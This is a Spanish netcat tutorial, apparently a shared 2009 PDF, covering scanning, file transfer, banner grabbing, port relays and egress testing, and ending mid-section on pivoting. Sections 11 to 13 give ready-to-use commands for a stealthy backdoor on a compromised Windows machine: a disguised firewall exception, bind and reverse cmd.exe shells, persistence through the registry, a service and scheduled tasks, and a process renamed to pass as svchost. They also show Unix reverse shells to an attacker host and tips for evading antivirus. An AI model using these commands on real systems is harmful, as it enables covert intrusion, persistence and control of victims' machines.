Actualizado el 21 de Marzo del 2018 (Publicado el 27 de Octubre del 2017)
1.154 visualizaciones desde el 27 de Octubre del 2017
189,5 KB
14 paginas
Creado hace 15a (23/10/2009)
NETCAT POWER TOOLS
David Montero *
23 de octubre de 2009
*Si quieres hacer algún comentario o correción, por favor envíame un correo
1
Índice
1. Introducción
2. Versión Windows-Linux
3. Puertos
4. Redirectores
5. Chat
6. Escaneo de puertos
7. Transferencia de cheros
8. Captura de banners
9. Redirección de puertos
10.Egress Testing
11.Troyano silencioso en Windows
12.Shell inversa en Unix
13.Evadir detección de AV
14.Sning tráco redirigiendo un servicio
15.Conectar con un pivot
2
4
4
5
5
5
6
6
7
8
8
9
10
11
11
12
16.Condencialidad
17.Integridad
18.Variantes Netcat
12
13
13
3
1.
Introducción
El programa Netcat nació en 1996 con el objetivo de leer y escribir datos en conexiones TCP y UDP.
Es una versión del comando cat enfocado a la red.
Cuando transere información no interviene en el ujo de datos. Por el contrario, telnet inyecta
mensajes de diagnóstico e intercepta carácteres especiales actuando en base a ellos. Éstos hacen que no se
pueda transmitir la mayoría de los cheros binarios por telnet, ya que se interpretan sus datos como cadenas
de comandos. En cambio Netcat actúa como un mecanismo de transporte transparente.
Tiene dos implementaciones: la versión original de Unix y la versión de GNU. Para saber con qué versión
se está trabajando ejecutar:
$ nc -h
Los posibles resultados son:
[v1.10-38] versión Unix
GNU netcat 0.7.1 versión Netcat
Normalmente las versiones binarias que vienen en las distribuciones, no suelen estar compiladas con la opción
GAPING_SECURITY_HOLE
2. Versión Windows-Linux
Existen diferentes funciones para la misma opción dependiendo del operativo:
-L: en Windows hace referencia a re-listen 1 y en la versión GNU de Linux al tunneling.
-V: muestra la versión en Linux (Windows no tiene la opción).
-d: en Windows ejecuta Netcat en modo detach (Linux no tiene la opción).
-x: en Linux muestra la salida en hexadecimal. Windows tiene la opción -o, la cual engloba a
ésta.
1en Linux se puede superar esta limitación con un poco de scripting, o usando la versión de Netcat modicada para tal n.
4
3. Puertos
En modo cliente no hace falta escribir -p para especicar un puerto. Se pueden indicar varios al mismo
tiempo mediante comas, un rango con un guión o por el nombre:
$ nc -v 192.168.1.4
21,80,443
$ nc -v 192.168.1.4
1-200
$ nc -v 192.168.1.4
http 2
4. Redirectores
Ejemplos de uso:
$ nc -l -p 12345 > dumpfile
$ nc -l -p 12345 >> dumpfile
$ nc -l -p 12345 < dumpfile
Con tuberías se suelen utilizar comandos como cat, echo y tar.
5. Chat
Para establecer un chat es necesario congurar un socket a la escucha y desde otra máquina conectar al
mismo:
$ nc -l -p 12345
$ nc localhost 12345
2para saber el número de puerto se consulta el chero /etc/services en Linux y /WINDOWS/system32/drivers/etc/services
en Windows.
5
6. Escaneo de puertos
Opciones útiles para acelerar el escaneo:
-w: establece un timeout.
-z: no establece una conexión completa.
Otras opciones útiles:
-i: intérvalo entre peticiones.
-n: no hace resolución DNS inversa.
-r: randomiza el puerto origen y destino.
-v: verbose.
-u: protocolo UDP.
7. Transferencia de cheros
Para descargar un chero:
$ nc -l -p 12345 < textfile
$ nc 192.168.1.4 12345 > textfile
Para subir un chero:
$ nc -l -p 12345 > textfile
$ nc 192.168.1.4 12345 < textfile
6
Aunque haya nalizado la transferencia de cheros, se mantiene de forma indenida y por lo tanto hace falta
pulsar CTRL-C para interrumpirla. Para evitar esta situación se puede hacer uso de la opción -w:
$ nc -l -p 1234 > textfile2
$ nc localhost 1234 -w 1 < textfile
o -q, que cierra la conexión tan pronto como la transferencia se haya completado:
$ nc -l -p 1234 > textfile2
$ nc localhost 1234 -q 1 < textfile
8. Captura de banners
En el caso de un servidor SSH :
$ nc localhost 22
SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
En el caso de servidores web:
$ nc -v www.microsoft.com 80
HEAD / HTTP/1.0
o:
$ echo -en "HEAD / HTTP/1.1\nHost: www.upv.es\n\n" | nc www.upv.es 80
En este caso se quiere averiguar el banner de las máquinas que contiene el chero hostlist.txt. El chero
request.txt contiene la petición a realizar [HEAD / HTTP/1.0/n/n]
$ for i in $(cat hostlist.txt)
do
nc -q 2 -v $i 89 < request.txt
done
7
9. Redirección de puertos
Para montar una especie de bouncer con el n de acceder a una tercera máquina (host_target):
$ nc -l -p 12345 | nc host_target 54321
$ nc host_relay 12345
También puede ser muy útil en caso de que se quiera acceder a un servicio de la máquina de una LAN que
el FW bloquea. En ese caso accedemos a un puerto abierto en el FW, y una superado el FW, una máquina
de dentro de la LAN hace la redirección de puertos al que nos interesa.
Es importante tener en cuenta que esto sólo funciona en un sentido. Haría falta poner otra redirección
para tener un tráco bidireccional.
10. Egress Testing
Egress testing es un término que hace referencia a averiguar los puertos por los que un FW permite
tráco para las conexiones salientes.
Para esto utilizaremos un ordenador que está dentro de la LAN protegida y otro fuera. Lo ideal sería
que la máquina de la LAN enviara paquetes por los 65535 puertos, y monitorizando el tráco podríamos
determinar los puertos TCP y UDP abiertos en el FW. Al ser excesivo tener Netcats escuchando en 131072
puertos, sólo se conguran dos (uno TCP y otro UDP) y se redirigen con iptables todos los paquetes a esos
puertos. En la máquina externa:
# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 0:65535 -j REDIRECT --to-port 1234
# iptables -t nat -A PREROUTING -i eth0 -p udp --dport 0:65535 -j REDIRECT --to-port 1234
$ nc -l -p 1234
$ nc -u -l -p 1234
y desde la máquina interna lanzamos el escaneo para comprobar las reglas del FW:
$ nc -v -z 192.168.1.30 0-65535 $ nc -v -z -u 192.168.1.30 0-65535
8
Si se utiliza un programa de escaneo como Nmap es importante lanzar SYNs para que la conexión no sea
completa. De otra forma Netcat cerrará conexión.
11. Troyano silencioso en Windows
Una vez comprometido un sistema Windows, si se congura un Netcat a la escucha en un puerto con un
shell ligada al mismo, el FW de Windows lo detectará y noticará. Para establecer la puerta trasera de una
forma silenciosa, hace falta comprobar si el FW está activo y si permite excepciones:
C:\> netsh firewall show opmode
En caso que no permita excepciones, congurar el FW para que lo haga:
C:\> netsh firewall set opmode mode = enable exceptions = enable profile = all
Congurar la excepción para el puerto en el que vamos a congurar Netcat a la escucha:
C:\> netsh firewall add portopening TCP 1234 "Windows Firewall Reporting Agent"
enable all
Vericar:
C:\> netsh firewall show port opening
Establecer la puerta trasera:
C:\> nc.exe -d -L -p 1234 -e cmd.exe
NOTA: es conveniente cambiar el nombre del proceso para que no sea tan sospechoso. Como suelen haber
diferentes instancias de svhost.exe, pasa desapercibido a los ojos de un usuario.
Podemos conectar con la puerta trasera de forma directa, pero como inconvenientes tenemos que cualquier
persona que lo detecte podría acceder. Y también puede existir un dispositivo de ltrado que impida establecer
conexión. Por tanto, existe una segunda opción que consiste en que el sistema víctima inicie la conexión hacia
el atacante; es decir, que realice una conexión inversa.
9
C:\> nc.exe -d host 1234 -e cmd.exe
como ventaja obtenemos que se permitirá la conexión aunque haya un FW, a menos que ltre les conexiones
de salida. Si es así, con Egress Firewall podemos descubrir los puertos de salida abiertos para utilizar uno.
Como inconvenientes sería necesario planear el evento con Task Scheduler o con alguna acción del usuario
como un logueo o reinicio. En el caso del logueo haría falta modicar el registro:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
"c:\windows\nc.exe -d 192.168.1.70 1234 -e cmd.exe"
Otra posibilidad es crear un servicio porque se ejecutará siempre en caso de que se reinicie la máquina:
C:\> sc create <servicename> binPath = "cmd /K start c:\nc.exe -d 192.168.1.70 1234
-e cmd.exe" start= auto error= ignore
C:\> net start <servicename>
Para crear una tarea:
C:\> net start schedule
C:\> at 15:00:00 /every:m,t,w,th,f,s,su ""c:\nc.exe -d 192.168.1.70 1234 -e cdm.exe""
Resumiendo: podemos crear conexiones inversas tanto mediante el registro, servicios o planicador de tareas.
12. Shell inversa en Unix
En sistemas Unix se conguraría de la siguiente forma:
[attacker ~]$ nc -l -p 8080 -e /bin/bash
[server ~]$ nc <attacker IP> 8080
Pero para usuarios de FreeBSD ya que la opción -e no está soportada se podría hacer con dos conexiones
separadas:
10
[attacker ~]$ nc -l -p 8080
[server ~]$ nc -l -p 9090 | /bin/bash | nc <home IP> 8080
[attacker ~]$ nc <server IP> 9090
O también:
[attacker ~]$ nc -l -p 8080
[attacker ~]$ nc -l -p 9090
[server ~]$ nc <attacker IP> 8080 | /bin/bash | nc <attacker IP> 9090
13. Evadir detección de AV
Los AV detectan el binario de Netcat como software malicioso, pero evitar esto es muy sencillo. Simple-
mente añadiendo un comentario en el código fuente y recompilando ya no sería detectado. En este caso la
rma del AV ya no lo reconocerá como malware.
14. Sning tráco redirigiendo un servicio
Es necesario cambiar el puerto donde escucha el servicio. En el caso de Apache utilizamos la siguiente
directiva:
Listen 8080
Con Netcat creamos un script /tmp/http_snier que capture tanto el tráco de ida como de vuelta:
#!/bin/bash
nc -o /tmp/sni.out 192.168.1.100 8080
Y lo utilizamos para hacer la redirección:
# nc -l -p 80 -e /tcmp/http_sniffer
11
NOTA: tener en cuenta que esto sólo funcionará la primera vez, porque Netcat deja de escuchar una vez
nalizada la conexión. 3
15. Conectar con un pivot
Tenemos un escenario donde el host 192.168.1.100 ha sido comprometido, y se busca acceder a
Comentarios de: NetCat power tools (0)
No hay comentarios